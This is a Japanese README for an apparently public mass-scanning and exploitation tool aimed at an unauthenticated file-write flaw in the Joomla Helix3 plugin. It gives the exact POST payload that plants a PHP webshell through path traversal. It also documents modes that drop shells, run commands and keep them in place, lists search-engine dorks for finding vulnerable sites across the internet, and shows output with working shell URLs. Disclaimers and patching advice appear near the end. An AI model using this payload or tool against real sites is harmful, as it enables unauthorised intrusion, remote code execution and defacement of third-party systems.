
CVE-2026-49049 Helix3 (JoomShaper) Joomla 未認証 AJAX RCE スキャナー
CVE-2026-49049 用のマススキャナー / 検証ツール: Joomla 用 Helix3 Framework プラグインの未認証 AJAX ハンドラー (v1.0 – 3.1.0、3.1.1+ で修正済み)。
認可されたテストのみ。 自分が所有する、または書面によるテスト許可を得たシステムでのみ使用してください。
plugins/ajax/helix3/helix3.php 内のハンドラー onAjaxHelix3() は、Joomla の com_ajax 経由で認証 / CSRF トークンなしで到達可能です:
POST /index.php?option=com_ajax&plugin=helix3&format=json
Content-Type: application/x-www-form-urlencoded
data[action]=save&data[layoutName]=../../up.php&data[content]=<?php system($_GET['cmd']); ?>
| アクション | 影響 | バージョン |
|---|---|---|
save | 任意の JSON ファイル書き込み + パストラバーサル | 1.0 – 3.1.0 |
remove | 任意のファイル削除 (拡張子 / パス制限なし) | 1.0 – 3.1.0 |
import | DB 内のテンプレートパラメータを上書き (custom_js がエスケープされず XSS / 改ざん) | v3.x のみ |
| Helix3 バージョン | save / remove | import | ステータス |
|---|---|---|---|
| 1.0 – 2.x | 脆弱 | 存在しない | 脆弱 |
| 3.0 – 3.1.0 | 脆弱 | 脆弱 | 脆弱 |
| 3.1.1+ | 修正済み | 修正済み | 安全 |
実環境での活発な大量悪用では、多くの場合、ダブル拡張子のウェブシェルが投下されます:
< 3.1.1 を検出するlayoutName=../../up.php で save を実行する.json を追加するため、up.php.json が Web ルートに配置されるAddHandler によるマルチ拡張子が .php トークンを実行するGET /up.php.json?cmd=id → uid=33(www-data) = シェル OKDetect Helix3
→ POST com_ajax?plugin=helix3 (action=save, traversal)
→ up.php.json written
→ GET up.php.json?cmd=id
→ uid=33(www-data)
git clone https://github.com/ExDev994/CVE-2026-49049.git
cd CVE-2026-49049
pip install -r requirements.txt
要件: requests>=2.31.0、colorama>=0.4.6、Python 3.9+。
targets.txt を編集 — 1 行につき 1 URL / ホスト (# = コメント)。Joomla のパスは保持されます:
# contoh
https://example.com/
https://example.com/joomla/
http://192.168.1.50/
ウェブシェルは投下しません。バージョンを確認し、save / remove / import をプローブします:
python3 scan.py -f targets.txt --scan -o results.txt
python3 scan.py -f targets.txt --auto -c "id" -o results.txt
python3 scan.py -t https://target.tld/joomla/ --auto -c "id"
# Keep webshell setelah verify (demo authorized)
python3 scan.py -f targets.txt --auto --keep
# Custom webshell name + traversal depths
python3 scan.py -f targets.txt --auto \
--webshell-name up.php \
--traversal-depths "../../,../../../"
# JSON report + concurrency
python3 scan.py -f targets.txt --auto -c "whoami" \
--threads 20 --timeout 15 \
-o results.txt --json report.json
# Proxy (Burp / etc)
python3 scan.py -t https://target.tld/ --scan --proxy http://127.0.0.1:8080
| Flag | 説明 |
|---|---|
-f / --file | ターゲット一覧ファイル (-t がない場合のデフォルト: targets.txt) |
-t / --target | 単一ターゲットの URL |
--scan | 読み取り専用の検出 |
--auto | 検出 + RCE 検証 (デフォルト) |
-c / --cmd | 検証コマンド (デフォルト: id) |
-o / --output | 結果ファイル — VULN / SHELL_OK のターゲットのみ |
--json | 構造化 JSON レポート |
--keep | 検証後にウェブシェルを自動削除しない |
--threads | 並行ワーカー数 (デフォルト: 15) |
--timeout | HTTP タイムアウト (秒、デフォルト: 15) |
警告:
--autoモードはパストラバーサルを介してウェブシェルの書き込みを試みます。デフォルトでは、検証後にウェブシェルは削除されます。--keepは認可されたデモ専用にのみ使用してください。
ターミナルにはすべてのステータス (進行状況) が表示されます。results.txt には脆弱なもののみが含まれます:
[v] CVE-2026-49049 SHELL OK https://target.tld Helix3 2.5.6 save=Y remove=Y import=N
[id] -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell: https://target.tld/up.php.json?cmd=id
[ ] VULN (no shell) https://target.tld Helix3 3.0.2 save=Y remove=Y import=Y
その他のラベル (PATCHED、NOT_HELIX3、TIMEOUT、UNKNOWN) はターミナルにのみ表示され、results.txt には含まれません。
以下のドークを使用して、影響を受ける可能性のある Helix3 / Joomla アセットを探します。許可されたターゲットのみスキャンしてください。
inurl:templates/shaper_helix3/templateDetails.xml
inurl:"templates/shaper_helix3"
"shaper_helix3" "Joomla"
inurl:index.php?option=com_ajax "helix3"
"powered by Helix" Joomla
intitle:"Home" "shaper_helix3"
inurl:/templates/helix3/
http.html:"shaper_helix3"
http.html:"Helix3" http.html:"Joomla"
http.title:"Joomla" "shaper_helix3"
http.html:"/templates/shaper_helix3/"
http.html:"joomshaper" product:"Joomla"
html:"plg_system_helix3"
body="shaper_helix3"
body="/templates/shaper_helix3/" && body="Joomla"
body="Helix3" && body="joomshaper"
body="plg_ajax_helix3" || body="onAjaxHelix3"
title="Joomla" && body="shaper_helix3"
body="templateDetails.xml" && body="helix3"
# Version check
curl -sk 'https://TARGET/templates/shaper_helix3/templateDetails.xml' | grep -i version
# Unauth save probe (authorized only)
curl -sk -X POST \
'https://TARGET/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}'
System – Helix3 Framework プラグインと Helix3 – Ajax プラグインを 3.1.1 以降に更新します (3.1.2 推奨)。
アップデートでは、データベースに入り込んだペイロードは除去されません。
custom_js / custom_css の注入がないか、#__template_styles テーブルの params 列を確認tmp / media 内の不審なファイルを削除:
up.php.json、cox.json、*.php.json、その他のウェブシェル一般的な侵害の兆候: "Hacked by AntonKill" / "trenggalek6etar" の改ざん、custom_js の注入、身元不明の JSON ファイル。
Apache — マルチ拡張子の AddHandler は使用せず、以下を使用:
<FilesMatch "\.php$">
SetHandler application/x-httpd-php
</FilesMatch>
Nginx:
location ~ \.php$ {
try_files $uri =404;
fastcgi_pass unix:/run/php/php-fpm.sock;
}
PHP php.ini:
disable_functions = system,exec,shell_exec,passthru,proc_open,popen,pcntl_exec
アップロード / ファイル書き込み: ファイル名を再生成し、マルチドット拡張子を拒否し、公開ディレクトリでは AllowOverride None を設定。
python3 scan.py -t https://YOUR-SITE/ --scan
# Expected: PATCHED Helix3 3.1.1+ (atau NOT_HELIX3 jika plugin di-uninstall)
CVE-2026-49049/
├── scan.py # CLI entry point
├── core/
│ ├── engine.py # ThreadPoolExecutor + results (vuln-only to file)
│ ├── probe.py # Helix3 detect + save/remove/import + RCE drop
│ └── target.py # Parse / normalize targets.txt
├── utils/
│ └── banner.py
├── targets.txt # Input targets
├── results.txt # Generated (VULN / SHELL_OK only)
├── requirements.txt
└── README.md
コミュニティからのコントリビューションを受け付けています。メンテナー: ExDev994。